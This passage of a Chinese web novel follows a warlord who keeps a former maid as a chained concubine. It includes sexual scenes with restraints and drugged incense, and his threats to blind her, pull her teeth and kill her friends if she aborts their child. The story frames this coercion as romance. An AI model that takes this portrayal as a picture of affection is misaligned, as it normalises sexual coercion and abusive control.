男人掌控全局,亦能猜出她所思所想,不过短短半个时辰,林蓉几乎被裴瓒洞穿。 裴瓒微凉的手覆在林蓉小腹。 他掐着她柔韧的细腰,哄她坐好压实,免得真要跌下床去。 林蓉挣不开裴瓒的束缚,她强忍畏惧,呛他一声。 “何必每日在我身上费劲儿,我又不能生,这些雨露喂我岂不可惜?” 裴瓒原本还有一丝怜爱之情,听得林蓉的挑衅,只能冷笑着重抵,“林蓉,你话太多了。” 林蓉惊叫一声,便被裴瓒翻过了身。 缠绕上林蓉双手的银色链条,因她跪榻,不慎勒进肉里。 一道道狰狞枷锁缠臂而上,挤出细腻绵软的皮肉。 好在裴瓒及时受力,没有让林蓉破肤裂骨。 就此,铃铛声在漆黑的帐子里急促响动。 叮铃、叮铃,疾风骤雨,掷地有声。 那些漂亮的小铃铛,晃动着银芒,迅疾摇曳。 林蓉被铁链捆绑,无处可躲,只能承着恶鬼的蹂躏。 而那些镇邪的铃铛,也不知是遭了哪路邪神顶撞、冲犯,竟足足一个时辰都不停。 骇人的煞声,响彻寝房。 …… 云雨消停。 裴瓒来了三次,单手解开了林蓉绑在脑后的绸带。 林蓉骤然见光,脑袋混沌,那双美眸早已水光潋滟,湿红一片。 她流了一个多时辰的眼泪,如今鼻尖也泛起了红,楚楚可怜,惹人怜爱。 裴瓒隐忍眼底的邪念,他难得好心,帮她抹泪。 裴瓒抚过林蓉那片落了痂、唯有狰狞新肉的肩头,“难受?林蓉,你连燎伤都能忍得,这点不适又算得了什么?” 他本想饶过林蓉,可她偏要牙尖嘴利,那就只能再吃些苦头。 裴瓒搂过软若无骨的林蓉,任她湿泞泞地缩在怀中。 又握住她的膝盖,教她如何盘弄他的腰,如何绞缠精力旺盛的小少爷。 “我对你已经足够仁慈,起初想的是,可以用药弄瞎你的双眼,如此一劳永逸,你再不能逃。但你哭起来的样子也很漂亮,到底生出一丝怜悯……林蓉,你要领情。” 林蓉听得他凶神恶煞的话语,脊椎涌起一阵毛骨悚然。 林蓉哆嗦一下:“那真是……多谢大都督垂怜了。” 裴瓒碾摩她,低声问:“唤我什么?” 林蓉被情香蛊惑,无法集中注意力,只傻愣愣地看他,不明所以。 她抬起湿漉漉的眼睛,气若游丝地回答:“大少爷?” 裴瓒的凤眸微阖,语气不善:“喊得这般疏离……你干不熟么?” 林蓉被他的荤话撼到,不知是气还是羞,脸上生热,胸腔也如火在烧。 “林蓉,再给你一次机会……我既为你夫主,你该唤我什么?”裴瓒循循善诱,勾引林蓉这样涉世未深的少女误入歧途。 林蓉绞尽脑汁想了半天,她好似有些明白了……难道裴瓒想听她唤“夫君”? 林蓉喉头艰涩,喊不出来。 她垂着眼不说话,只低头,把脸埋进裴瓒同样汗湿的肩窝。 许是感受到林蓉颊侧散出的热意,裴瓒没有为难她。 他抱住林蓉,一鼓作气,欺压到底。 …… 待裴瓒餍足,林蓉已是气息奄奄。 屋中线香被裴瓒撤去,手链也被男人拆解,收回了匣中。 林蓉艰难地支开眼皮,看着手上空空如也,终于松了一口气。 裴瓒沐浴换衣后,便出门议事,留下仆妇寸步不离地伺候林蓉用饭沐浴。 石榴纹螺钿屏风后,热腾腾的洗澡水早就放好。 林蓉不喜欢有婆子伺候,让人在一旁等着,自己则撑起酸软的膝盖,一步步扶稳了墙,迈进浴桶。 待林蓉泡进水温刚好的木桶里,整个人都像吸胀了水的丝瓜瓤子,骨头缝里也溢出舒坦。 她渐渐缓过神来,心知裴瓒的郁气慢慢散了,往后的日子虽苦难,但也应该不至于磋磨。 不然裴瓒不会在寝房里备好这些精致的坐卧家具,又将她的吃穿用度按上乘规格安排。 但她所在之地,便是牢笼。 他设了金屋,专程为了囚住林蓉。 林蓉闭着眼,想着事儿,竟这么睡了过去。 再度被人唤醒,林蓉睡眼惺忪。 原是婆子们觉得不对劲,一个个吓得肝胆惧寒,忙抱她出水。 擦身的擦身,换衣的换衣,等林蓉睁开眼,一杯水已经递到她的唇边。 “夫人,喝口水吧。” 林蓉没有让人为难,她抿了一口温热的茶水。 等另一碗赤豆甜粥喂到林蓉的嘴角,她别开脸,推了粥碗,“不想吃。” 婆子们面面相觑,一个个犯起了难。 之前大夫帮小夫人看病,说她脾胃不好,一定要注意三餐用膳,可以多吃一些好克化的流食。 可今日,林蓉没怎么用饭,夜里又和大都督闹过一场,再饿下去,真有个头疼脑热,脾胃不适,做下人的怕是要被主人家迁怒。 思及至此,资历最老成的周嬷嬷还是大着胆子,去前厅求见裴瓒。 武将们议事的厅堂,亲卫们擐甲执兵,戍守在外。 周嬷嬷不过探了一下脑袋,看到军容整肃的队伍,立马心生退意。 许是周嬷嬷的动静太大,主座上的裴瓒淡瞥去一眼,神情阴冷,压下手中军报。 “今日先散了,行军之事,明日再议。” 部曲家将们面面相觑,不敢催逼。 但看裴瓒冷眉驽目,心中又惊慌不安:难不成是哪处战报有什么差池?不然大都督怎会摆出这样骇怖的神情?不对啊,就连此前魏室天子发兵冀州,也不见大都督有丝毫异色……总不至于真出了什么大乱子吧? 裴瓒素来是藏事的性子,他没有与人多说,下臣也不敢多问。 等裴瓒问过林蓉近况,踅身往寝房里迈步。 那碗甜粥热了凉,凉了热,递到裴瓒手里,已是第三趟隔水蒸热了。 林蓉歪在大迎枕上,昏昏欲睡。 她沐浴洗发,还用蓬松的巾帕擦干了水,青丝散在脸颊,衬得下巴更瘦了些,一双大眼睛乌黑如海珠。 看到裴瓒过来,林蓉下意识蜷曲手指,想扭身躲开,又不敢做得太明显。只能紧绷着,又慢慢腾挪回来,歪在床边。 裴瓒取来瓷勺,亲自舀粥,喂给林蓉。 赤豆甜粥的温度正好,抵在林蓉的唇瓣上,那小勺染上粥温,也不会烫嘴。 但林蓉仍是偏头避开,语气冷硬:“我不想吃。” 裴瓒不是一个很好说话的人,她不吃,他非要喂。 林蓉生了气,牙关紧闭,一副要和裴瓒抗争到底的架势。 直到裴瓒放下皱碗,凉薄的唇瓣吐露几字:“林蓉,嘴长着不吃粥,是想吃旁的物什?” 林蓉听出裴瓒的暗示,他难道是在指剑拔弩张的小少爷? 她再如何任裴瓒厮混,还从未……从未以唇侍奉过他。 林蓉气得发抖:“您不怕我咬断么?” 裴瓒掰她下颌,指肚碾上她的丰腴软唇:“你的虎牙有些尖利,既要下嘴,自该将你的牙拔尽。” 说着,又搅动那碗甜粥,再度喂给她:“趁现在还有的选……吃粥么?” 这就是个刀枪不入的混蛋,林蓉奈何不了他,鼻尖又酸,只能低头,愤愤然含咬上裴瓒递来的瓷勺。 一口粥咽下,女孩咸涩的眼泪也滚进了碗沿。 裴瓒看着水做的女子,不免眉峰微扬:没缺胳膊断腿,又哭什么? 他帮她掖去嘴角沾上的米粒,语气淡淡:“……不咸吗?” 林蓉一怔,听懂了。 这是在讽她喝个粥还把眼泪落进碗里,实在爱哭。 林蓉受不得裴瓒嘲讽,想了想,还是用掌腹压了压眼角,忍住了泪意。 “还好。” 她端来了粥,不让裴瓒继续喂食,自个儿乖乖吃完了。 作者有话说:裴瓒成天阴着一张脸,把部曲军将吓得够呛。 军将们:大都督一天天愁眉不展,可是军事上出了何等大事? 裴瓒冷脸,内心:……老婆不吃饭。 第48章 北地, 十月。 天气严寒,皇城的锦窗棂格上覆了一层薄薄的初雪。 瑞雪兆丰年,新雪来得早, 这是好兆头,那些扫洒的小火者纷纷跑去值房里给大太监报信儿, 也好讨个赏钱。 御书房中的陈文晋听得窗外沙沙风雪声, 抬了一下头, 想起和南地的几场战役。 裴瓒羽翼已丰, 麾下能臣诸多,厉兵秣马,兵力十万不止。加之南地物阜民丰, 粮饷充足,真要天长地久干耗下去, 陈文晋其实并不是裴瓒的对手。 除却应对裴瓒这样强盛的南地霸主, 陈文晋还要应付那些虎视眈眈企图分一杯羹的地方藩王……时至今日, 陈文晋方才意识到, 他已是强弩之末。 原本陈文晋还想着, 裴瓒擅习水师, 骑营式微, 日后引他入北地一战,未必没有胜算。 可斥候队伍传来暗报, 裴瓒为擒一名貌美逃妾,竟只身潜入凉州边境…… 旁人兴许会被裴瓒蒙蔽, 可陈文晋机敏多疑,又怎会轻易被裴瓒蛊惑? 那等连亲朋师长都能屠戮刀下的男人,又怎可能受儿女情长所困? 他去凉州,无非是有所图谋。 已是十月, 凛冬莅临。 吐蕃夷族每逢隆冬,气候恶劣,物资稀缺,吐蕃又是游牧部落,不擅耕种织作,为求生存,时常派兵劫掠边境军镇。 魏国先皇为了筑造边防,曾耗银斥资百万银,供凉陇一带饲马练兵,以御外敌。 倘若裴瓒在这个节骨眼上,与凉州来往密切,许是打着筹备军马的算盘……而此事,凉州未曾上报朝廷,可见地方官吏摇摆不定,已生出异心,倒戈南地。 既是叛城,陈文晋不敢再用。 想到外域野心勃勃、战力强盛的吐蕃夷敌,又想到外忧内患、病骨支离的魏室王朝……既凉州已叛,与其落到裴瓒手中,倒不如为陈文晋所用。 陈文晋长叹一口气,决意兵行险着。 他提笔落字,允了吐蕃新汗赤德阿泰求娶中原公主的国书,并以凉州、陇州作为皇女封地,赠予可汗赤德阿泰,以此换取吐蕃外邦五万援军,策应魏国天子,共同围剿乱臣贼子。 陈文晋为保皇权,只能行此“卖国割地”之举,他在心中宽慰自己,若非裴瓒揭竿而起,又怎会将他逼到这等昏庸地步。 况且,让地一事,无非是权宜之策。 待裴瓒被俘身死,国政时局稳定,陈文晋自会派兵援边,收复凉陇诸州,驱蕃归魏。 南地与北地的战役一触即发,裴瓒并未在庐州多做停留,他调兵遣将,筹备粮草与军械,便一路北上行军,直逼魏室都城。 在裴家兵马的庇护之下,南地六州并未遭到炮火侵袭,犹如一片桃源净土。 黎民百姓倒也实诚,他们不在乎谁在顶上称王拜相,他们只看谁能带来太平盛世,谁能让他们衣食无忧,安居乐业。 如今南地是魏国最安定的地界,这一切全都倚仗裴瓒南征北战、勤勉治理地方,平民百姓惦念裴瓒的恩情,自是奉他为天。 裴瓒亦不喜外敌侵城,毁去后方基业,平素迎敌征战,都是在外行军。 此战险要,裴瓒临军对阵,本不该带林蓉随军。 但林蓉有潜逃前科,裴瓒不信林蓉能安分居家,自然要命她随行侍奉。 林蓉有把柄在裴瓒手中,她生怕牵连旧友,半点逃心都不敢生。 可随军枯燥,裴瓒又时常上前线迎敌,林蓉日日居帐,出不得门。 她躺在榻上,身上盖的是华贵的金宝地云锦厚被,脑后垫的是出锋白狐毛裹着的安神药枕。 虽是行军打战,但给林蓉备的一日三餐,用食都精巧可口,除却豌豆黄、云片糕,三不五时还会有鸡汤烫的薄羊卷、蒸腊肉。 谁都知道裴瓒娇养着一位貌美如花的小夫人,便是从戎征战,也要将其带在身旁,如此看重,自是无人敢来主帐冒犯。 林蓉不得踏出军帐,每逢裴瓒战胜回营,她才能被放出帐子透透气。 深夜的山麓,营地灯火稀疏。 裴瓒策马回营,远远看到主帐燃着的暖黄烛光。 只要看到这一盏灯,他便知林蓉未睡,仍在帐中等待。 裴瓒下马入帐,擦身的热水早已备好。 他褪去溅血的甲胄,解开腰带,脱下武袍。 裴瓒赤着肌理明晰、线条优雅的胸膛,一双深墨冷目扫视榻边的林蓉,召她上前服侍沐浴。 所谓侍奉,其实也只是帮裴瓒递巾栉澡豆,旁的不必林蓉上手。 裴瓒浸水闭目养神,任由林蓉搬来小凳,坐在浴桶旁边发呆。 裴瓒为了更近北地一步,率军攻打沙州,接连几日御敌,不敢有半分懈怠。 前线军情紧急,裴瓒夙夜在公,率军围城,统共算起来,也只睡了两个时辰。 许是回到后方营地,裴瓒安心许多,竟在水中睡去。 “林蓉,澡豆。”待裴瓒睁眼,和林蓉讨要澡豆。 一偏头,竟看到女孩双手交叠,枕在下颌,睡得正香。 林蓉的浓睫微翘,脸颊绯红,眉头蹙起,好似有无尽的忧愁,一张樱唇微微鼓动,不知在嘟囔什么。细听一番,好似还有几句咬牙切齿的“裴瓒”。 裴瓒垂眸,静静看了许久,默默蜷指,收回讨要澡豆的手。 裴瓒沐浴更衣,又取一条蟾绿发带束好半湿的乌黑长发。 随后,他谨慎躬身,一手揽住林蓉腿弯,一手扶着她的肩头,将少女稳稳搂进怀中,送回榻上。 没等裴瓒松开那只托着少女脑袋的手,林蓉已从睡梦中醒转,她睁眼,猝不及防看到一张肤白唇红的美人脸,还有些没醒过神。 等林蓉意识到,她正缩在裴瓒的怀中,不禁肩背僵硬,下意识往后瑟缩,“大都督……” 许是林蓉的抗拒之意太过明显,竟让裴瓒的神色变得阴沉。 放下林蓉后,裴瓒抚动她的耳廓,边用泛凉的拇指揉弄少女灵巧的耳骨,边威慑力十足地询问:“方才梦到了什么?” 林蓉悚然一惊,心中百转千回……自然是没做什么好梦,但她睡相还成,应该也没有说梦话泄露一二? “林蓉,说话。” 林蓉想到裴瓒平日床笫间的恶癖,不敢怠慢,以免被他罚上一整夜。 林蓉想了许久,还是鼓足勇气,问他:“若有那么一日,大都督玩腻了、厌了我……能否放我离开?” 林蓉知道此事绝无可能,但她还是想讨一句裴瓒口头的承诺,即便是哄哄她也好。 如此就能成为林蓉活下去的希望,诱她再忍一忍,再熬一熬,直至那天到来。 可裴瓒一贯性恶,他没有及时回答林蓉,只轻扯嘴角,笑意冰冷:“为何一心想离开?在裴府吃不好、住不好么?还是你厌我、畏我至深,不愿与我朝夕相处?” 裴瓒不按常理出牌,倒让林蓉有一瞬发懵。 但她性子虽实诚,却并不愚钝,只要她敢认下裴瓒这些话,等待她的定是一夜不停的云雨惩罚。 林蓉低下长睫,笨拙地张了张嘴,最后摇摇头:“没有……” 裴瓒知她说不出什么话,可他被林蓉的逃心激怒,那些怜意也烟消云散。 裴瓒面无表情地伸手解衣,又用虎口强硬扣着林蓉伶仃的手腕,将娇小的少女拥进怀中。 林蓉蜷缩四肢,不敢抵抗。 但她知道,她逃不开,侍奉枕席,本就是侍妾的本分。 林蓉哄自己放松,默许裴瓒修长白皙的指骨,在她的雪肤上游走,一点点摆布她的心绪。 等林蓉的衣裙一件件落下,皱皱巴巴堆叠在赤条条的膝骨。 林蓉还没做足准备,便被裴瓒覆到身下。 裴瓒持刃临阵,哄林蓉:“抱紧一些……” 如此抵进。 便能严丝合缝,骨血相融。 暗香拂拂,唯一一盏燃着的铜灯也被裴瓒扬袖熄灭。 军帐里昏暗沉寂,没有明灭的火光,交叠绞缠的人影就不会打在帐上,供人观瞻。 裴瓒知道分寸,他很好顾及了林蓉的颜面。 柔软的被褥里,林蓉紧收着裴瓒。 她泪眼朦胧,杏眸水润,仰头望着羊皮毡帐。 不等她说些什么扫兴的话,裴瓒的吻又温柔落下。 男人湿热的舌尖,渐渐深入女孩的唇齿嫩腔。 裴瓒与她勾缠、舔吮唇瓣,动作恣意而轻柔。 青丝垂落,缠进林蓉细嫩的指缝,被她绕到手中。 林蓉抓着那一缕黑漆漆的发,用了点劲儿,她看到裴瓒因痛而轻轻蹙起了眉峰。 林蓉溢出几丝嘤咛,腰窝酥麻,就连呼吸也变得一激一激的,琼脂一般的鼻翼、覆着绒发的额头,尽是潺潺冷汗。 实在吃不下。 可林蓉推搡裴瓒的手,转瞬被他擒在滚沸的掌心。 那点体温烧灼,如燎原的星火,令林蓉头脑昏沉,无所适从。 就在她眼泪滚落,几欲没顶的时刻。 裴瓒终是含咬上林蓉的耳廓。 于黏腻水声中,裴瓒回答了她此前问出的那句话。 男人劣邪含欲的嗓音响在耳畔,是裴瓒冷声同她道。 “倒是可惜了,林蓉……这辈子,你便是死,也只能死在我身边。” 第49章 林蓉几乎透不过气。 她仿佛陷入香馥馥的泥潭, 任由那些湿泞的黑泥封住口鼻,遮蔽双目。 帐中无光,在这般黑黢黢的夜里, 她如同搁浅的海鱼,只能檀口微张, 细细喘熄, 被迫去感受裴瓒。 裴瓒撑在她的上方, 白净无暇的臂骨稍加收紧, 勾勒出张力磅礴的肌肉。 裴瓒的五指压来,如同桎梏,强行抵住了林蓉的皓腕。 男人的手背一条条青筋鼓噪, 在那片浮着剔透汗珠的蜜脂薄皮下,轻轻震颤。 这种武将与生俱来的力量感, 带着一种难言的色气, 甚至是诱人意动。 不过一晃神, 裴瓒炙热的吻, 落到了林蓉皮肤细滑的锁骨。 小衣绯红, 绣满了芙蕖。 只可惜布料太过脆弱, 裴瓒一只手便能撕成粉碎。 藏在衣下的腴润…… 尽数被吮进齿关。 林蓉的乌发被裴瓒一手包揽, 拢到肩头。 裴瓒与她交颈缠绵。 滚烫的唇腔含上她后颈的骨珠,逐一细腻地舔舐过去。 将那香凉的嫩肤, 全染上靡丽的粉色吻痕。 裴瓒游刃有余地抚慰,哄林蓉放松心神, 切莫畏惧。 林蓉扭腰逃避。 却被那双强横的大手,抓回了男人腹肌健硕的窄腰。 她的浓长眼睫已是一片湿漉漉的。 在这样膻腥潮气浓重的毡帐里,她几乎透不过气,险些溺亡。 明知林蓉已到极点。 湿滑的汗水, 流到了伶仃脆弱的脚踝。 裴瓒还要恶念深重地欺她。 他故意摩挲,与她周旋,罗刹魑魅一般低语。 “林蓉,若你没有餍足。” “我亦可予取予求,甚至……整夜不出。” 林蓉被他的话骇到瞪目。 渐渐明白了裴瓒的意思,他竟想留一晚上么! 最终,她还是连连摇头。 “够、够了……” …… 这一次,什么玩法都试了。 闹了近两个时辰才算完。 林蓉浑身都是秾艳的红痕,她已经没有力气与他多说,只在裴瓒要唤小兵送水入帐的档口,拉住了他的衣袖。 “桶里还有剩下的水,随意洗洗就好……” 林蓉实在没脸让人知道裴瓒闹得这般晚,他脸皮厚不知羞,不怕旁人笑话,林蓉却极容易多想,亦不想让人背地里嚼舌根,说她不过一个以色事人的婢妾。 裴瓒今夜餍足,倒也没有折腾林蓉。 他淡然看她一眼,伸手轻而易举地抱起林蓉。 云雨之后,裴瓒狭长的凤眸惫懒,略带春情。他捧着昏昏欲睡的少女,抬臂掂量一番,“近日可有用饭?” 虽不至于形销骨立,但也瘦了不少。 林蓉没什么胃口,又不想让裴瓒多问,只含糊其辞地道:“三餐都吃了,许是天气不好……” 裴瓒冷静看她,“已入冬了,按理说不会如夏日那般怕热厌食。” “唔,那就是怕冷……”林蓉敷衍了事,她困得很,谈兴实在不高。 裴瓒薄唇微抿,想了想,到底没有为难她。 待林蓉清洗过后,裴瓒将她塞回了厚重的被褥。 她听到男人撩帘出帐的动静,心中迷迷糊糊猜测:许是裴瓒床笫餍足,不再意动,既不需要侍妾解欲,自然离帐而去。 却不想,不过两刻钟,裴瓒又回来了。 锦被掀开一角,男人冷冽的衣袍落下,紧贴向她。 林蓉猝不及防被袖缘的凉意惊醒,一团浅淡的香气无孔不入,就此钻进鼻腔。 是浅淡清幽的檀香,以及溪流原野的草木味……待裴瓒那一只骨相棱棱的玉腕揽上林蓉的腰身,她方才一个哆嗦,如梦初醒,回过神来。 裴瓒是想搂她入睡吗? 又或者是他又起了势,想寻她纾解? 林蓉单薄的肩膀轻颤,忍不住战栗,忐忑等待裴瓒的宣判。 林蓉的膝盖屈得酸麻,不论是跪坐,还是攀缠,总之到现在还酸痛,她实在吃不消裴瓒再来几轮。 但好在,裴瓒并无其他僭越的动作,他闲适地侧躺着,伸手团住了林蓉。 裴瓒那条遒劲有力的臂骨勒住了少女的腰肢,强行将她拐带入怀。 林蓉削瘦的脊背,被裴瓒摁向宽阔的胸膛,男人滚烫的体温一下子附着上她的肩背,热得她额头沁汗。 “林蓉,闭眼。” 裴瓒凉凉道了句,复而拥紧了她。 林蓉拧腰乱扭也没用,她摆脱不了裴瓒,只能任他抱着,如同揽住什么助眠安神的软枕。 这一夜,林蓉只觉得自己好似被丢进了道君的丹炉里,烈火将她焚烧成灰。 偏又有一条鳞甲悍厉的巨蟒,将她圈进怀中,铜墙铁壁一般,令她动弹不得。 林蓉一整夜都在和精怪殊死顽抗,但魔高一尺道高一丈,她大战了三百回合,还是挣脱不开,只能作罢。 待林蓉睡醒时,竟觉得腰酸腿软,比一夜未睡更累。 林蓉掀开衣角,柔嫩的纤腰上,竟有青红交错的指印。 想也知道裴瓒昨晚没收住力气,作弄她的时候,下手有多狠。 好在给林蓉送早膳的兵丁告诉她,裴瓒今早收到急报,已赶回前线御敌,许是有半个月不能回营。 林蓉松了一口气。 瘟神走了。 林蓉难得心情好,连没有油星子的野菜包子都吃了两个。 只是好日子没过太久。 十天后,林蓉觉察到一件不大好的事。 先是她喝下日常惯爱的牛乳,却因受不了那一点腥气,吐了个干净。 其次是林蓉猛然记起,她的癸水已有近乎两月未至。 如今是十月底,她被裴瓒擒回家宅,已有三个月。 林蓉一直以为,她月事紊乱,是因数月前饮下的那碗绝嗣汤药的缘故……可如今一看,倒觉得哪里不对。 林蓉吓得脸色苍白,她生怕是那等、那等可怖的结果。 偏偏今日,恰逢医工为林蓉诊脉的日子。 林蓉知道,若她拒绝医工问诊,反倒要引起裴瓒疑心……她没什么退路,只能在心中默默祈求,千万别是身孕。 待大夫隔帕诊脉时,林蓉特意将那些仆从驱出帐外。 林蓉惊慌不安地等待结果,却等来了最令她畏惧的噩耗——“恭喜夫人,虽月份尚浅,不足三月,但也是滑脉无误。” 滑脉便是喜脉。 林蓉果真怀上了。 大夫心中遗憾,倘若裴大都督在此,定会给他一个大大的利是封红包,少说也有十两金子。 但小夫人如此得宠,想来也该出手阔绰…… 思及至此,大夫又心生希冀,望向林蓉。 怎料,林蓉被吓得面白如纸,久久无言。 倘若裴瓒知道她怀子,定不会允她落胎……林蓉见识过裴瓒的冷血无情、残暴虐杀,她畏他惧他,她不愿留在他的身边,也不想永远被困在这一顶毡帐,或是那一座白墙黑瓦的裴府院落。 林蓉不能困死在裴府。 她翕动双唇,绞尽脑汁,终是憋出一句。 “大夫,我此前误服过一些伤身的药膳。听人说,若是怀胎时用了虎狼之药,孩子出生后,恐会低智、残肢、容貌丑陋,此为大都督庶长,怎可留下这般污点……此子留不得,大夫,我求求您,能否为我调配一帖落胎的汤药?” 三百里外的前线战地,裴瓒攻下峪山关,掠夺一批军需辎重,招降俘兵后,并未继续北上,攻打魏国都城。 因近日风雪有愈演愈烈,隐隐有寒灾之势,北地严寒,山路崎岖,若是裴瓒继续行军攻城,恐有兵损粮耗之险。 因此,裴瓒决意鸣金收兵,暂退南地,待开春,冰雪消融,再继续北上攻城。 多年来,裴瓒用兵如神,战无不胜,无人会质疑他的决策与判断,即便营中有军将私下笑话裴瓒太过“胆小”,亦被坚定拥护裴瓒的郑至明揍了一拳。 “大都督如今谨小慎微,图的是什么?无非是看重咱们一兵一卒的性命,尔等嘴皮子上下一碰,屎盆子就扣下来了,来日出了差池,手下不知要死多少人!都是有爹有娘,胎生肉长的,就你多个脑袋,经得起刀劈剑砍不成?!” 那名军将行军多年,早从冲锋小兵,历练成压阵大将,自是忘记了每次的攻城战,想破开城门,都是让底下的兵丁前仆后继,先拿命去填。他也当过马前卒,也有过整日惶惶不宁,生怕死在战场不能回家探望妻儿的日子。 军将被郑至明训得老脸通红,再不敢呛声。 裴瓒征战多年,军威甚重,在军中说一不二,无人敢触他逆鳞。 此等小打小闹,至多就是私下里拌嘴,并不会闹到他的面前。 一战结束,裴瓒摘下淋了一头血的银色兜鍪,如刀锋锐的发尾披散肩膀,色泽沉郁的黑发,衬得下颌骨染的那点浓稠红血,愈发妖邪诡谲。 他抬手抹去,掌心一片猩红,目露嫌恶。 没等裴瓒取帕子擦脸,鼓吻奋爪的黑鹰,兴奋地抓向他的铁皮护腕。 裴瓒单手扯下鹰爪上缠绕的布条,一目十行看完,眉心微微一拧。 郑至明心下一跳,忙问:“大都督,可是出了何事?” 裴瓒摁了下生疼的额角:“无事,你领队回营,我先行一步。” 没等郑至明再说些什么,裴瓒已然纵身上马,猛扯缰绳,疾驰而出。 黄沙滚滚,风尘漫天。 望着裴瓒如离弦之箭,狂奔而出的背影,郑至明只觉得此情此景,莫名有些熟悉。 营帐内,林蓉跪在软毯上,望着案上这碗热气腾腾的汤药。 她不知在犹豫什么,思来想去许久,还是没能将药汤一饮而尽。 就在林蓉捧起瓷碗的瞬息,帐外响起战马的疲惫嘶鸣,男人铿锵有力的脚步声渐行渐近。 林蓉眼前骤然一花,顷刻间,那碗汤药被人强横夺走,摔了一地。 哐当一声。 碎碗的巨响,吓了林蓉一跳。 林蓉双目僵直,瑟缩肩膀。 她下意识抬起头,正巧迎上一双怒意汹涌的凤眸。 裴瓒一袭黑袍甲胄,弃马入帐。 他的颊侧染血,双目赤红,犹如无间地狱爬出的邪神罗刹,显然是策马疾奔了一天一夜,方能日行三百里,赶至营地。 裴瓒压着几欲噬人嚼骨的戾气,手掌紧扣剑柄,克制那些如潮涌至的杀意与煞气。 裴瓒居高临下凝视林蓉,却并未没轻没重,拿手碰她,只咬着后槽牙,冷声道:“林蓉,若你动手,杀害腹中胎儿,不论是你爱马、还是玉门村的杨峰、抑或是裴家祖宅里的旧友,我皆会一并铲除,给我儿陪葬!” 裴瓒知道林蓉服用绝嗣汤药,已然损伤宫胞,早在三月前,他便命大夫好生将养林蓉的身子,即使林蓉断子绝嗣,亦要身子骨康健。 此番,林蓉侥幸怀胎,倒是裴瓒始料未及之事。 只大夫送来密信,告知裴瓒。 若林蓉执意要饮药堕胎,唯恐腹腔出血,一尸两命。 倒不如怀着子嗣,再好好休养上一年半载,如此到了临盆那日,还能母子平安。 林蓉怔怔看了裴瓒一眼,小声解释:“那是安胎药,我没想杀它……” 其中利害,林蓉已经听大夫说了。 此前林蓉饮下绝嗣汤,伤了脾胃和宫胞,在外风餐露宿一个月,更是有损身体根基。 这三个月日日饮汤进补,好不容易养回了一些,只是不凑巧,偏在这时候怀上了子嗣……如她执意要落胎,终生不孕事小,失血身亡事大,还是好好养着吧。 林蓉想起裴瓒方才要挟的话,心中也很庆幸,还好她没有犯浑,执意要打掉这个孩子。 不然裴瓒因丧子之痛,发起大疯,恐怕她的亲朋旧友就得遭殃了。 裴瓒心中存疑,他取来汤药,闻了下药渣。 确认这碗汤药的确是安胎药无误,男人眉眼里的悍烈凶相终是淡去。 裴瓒单膝俯身,似是安抚,轻轻拥上林蓉。 他不敢让林蓉染上污血,只用干净的那只手,压在少女的脑后。 裴瓒难得嗓音放缓,与她温声许诺。 “林蓉,我知你顾虑……我会将你扶正,再将这个孩子记成嫡出。此后在裴府,无人能压你头上。” “林蓉,这是你我的孩子,留下吧。” 作者有话说:精骑五千急追之,一日一夜行三百馀里————引自搜索。 第50章 林蓉浑身僵如木雕, 久久无言。 她惊讶极了,没想到裴瓒居然会做出这样的许诺。 林蓉乖顺地倚在裴瓒的肩头,她嗅到那一股浅淡的血气, 强忍住害喜的冲动。 “我从前是裴府的奴婢,后来赎身放了奴籍成了良家……我的家世不显, 族中无人帮衬, 称得上是孤苦无依, 我不能带给大都督助力, 又怎堪当你的正妻,裴家的主母?” 林蓉不是被一点富贵荣华冲昏头脑的女子,她深知裴瓒位高权重, 胸有丘壑,如今对她有点新鲜, 便用这样的手段勾她留下, 保下胎儿, 若她偏听偏信, 真以为裴瓒对她用情至深, 那才是要遭殃。 果然, 裴瓒垂下凤眸, 细思片刻,与她道:“我不喜与旁人亲近, 也是如此,才会将近而立之年, 膝下都无一儿半女。日后既要问鼎天下,自该有子嗣承袭家业……林蓉,你的孩子来得很及时,不论男女, 都足以助我稳定军心,让军将们知我裴氏后继有人,能延续几代峥嵘。” 这是裴瓒给自己的理由。 他之所以抬举一个婢子出身的侍妾,是因他子嗣不丰,又不欲接近其他女子…… 诚然,他待林蓉定是喜爱的。不然也不会命郎中帮她调养身体,盼着她安康无恙。 只是裴瓒从未喜爱过什么人,他自己也不知此情能深切几分、能达到什么样的程度。 但林蓉能得裴瓒几分偏私,实在不易。 她应该领情。 闻言,林蓉心中并不落寞,反倒松了一口气。 这般权衡利弊,才是她认识的那个残忍无情的裴瓒。 若他真心相待,倒真令林蓉无所适从了。 林蓉不是个蠢笨的女子,既要生下这个孩子,处境能好一些便一些吧。 她没有再拒绝裴瓒,只是皱着眉道:“我不喜你身上的血气,想吐……” 裴瓒也是第一次为人父,他松开林蓉,退远了一些。 裴瓒莫名低眸,看了一眼林蓉尚且平坦的小腹……很难想象,这世上竟会有含着一半他的骨血的孩子诞生。 许是裴瓒的视线实在灼人,林蓉抬头望他,下意识捂住了小腹。 “可有不适?”裴瓒嗓音夹杂着不自知的忧虑。 林蓉点头:“闻到血腥气就脾胃难受,什么都吃不下。” 裴瓒拧眉:“明日开拔回城,你若想吃些什么,尽可吩咐下人。” 他知自己身上留有敌血,会令林蓉不喜,转身撩帘出帐,换洗甲胄衣袍去了。 林蓉望着翻动的帐帘,低头看了一眼肚子,心脏一点点沉下去。 再过六七个月,明年五月初夏的时候,她会生下一个血脉相连的孩子。 是男是女?会长得漂亮聪慧吗? 纵是林蓉不喜裴瓒,也知他肤白貌美,容貌实在上乘……她和裴瓒一起生出的孩子,应该会很好看吧。 林蓉会不会因这个孩子的到来,渐渐开始接纳裴瓒的馈赠与恩赐? 甚至为了孩子忍辱负重,开始像裴府的那些姨太太、各房主母那般争夺夫主的喜爱,成日拈酸吃醋? 林蓉会不会慢慢被荣华富贵迷了眼? 她会不会渐渐忘记凉州定居的闲适日子,骑在马背上穿越平原的悠闲生活? 她会不会开始甘心居于狭窄的、安逸的后院? 每日只能孤零零坐在那四四方方的天井中,含笑等着孩子、丈夫归家,没有半点属于自己的生活? 林蓉是不是开始妥协了…… 林蓉的心里,忽然漫起一种巨大的难过情绪,但她知道,很快她会变得迟钝麻木,然后再不能感受到这些痛苦。 因林蓉生为肉眼凡胎的人,她为了活下去,会适应那些枯燥烦闷的日子,继而寻到其他生存之道。 一个月后,林蓉跟着裴瓒的军队,来到了南地青州。 青州接壤凉州,方便裴瓒接收那批凉州培育的战马,操练骑营,也好在来年霜雪消融的春末,率军北上,攻向魏国都城。 冯叔早受到了裴瓒的敲打,知道林蓉要被大都督扶正,抬为正妻。 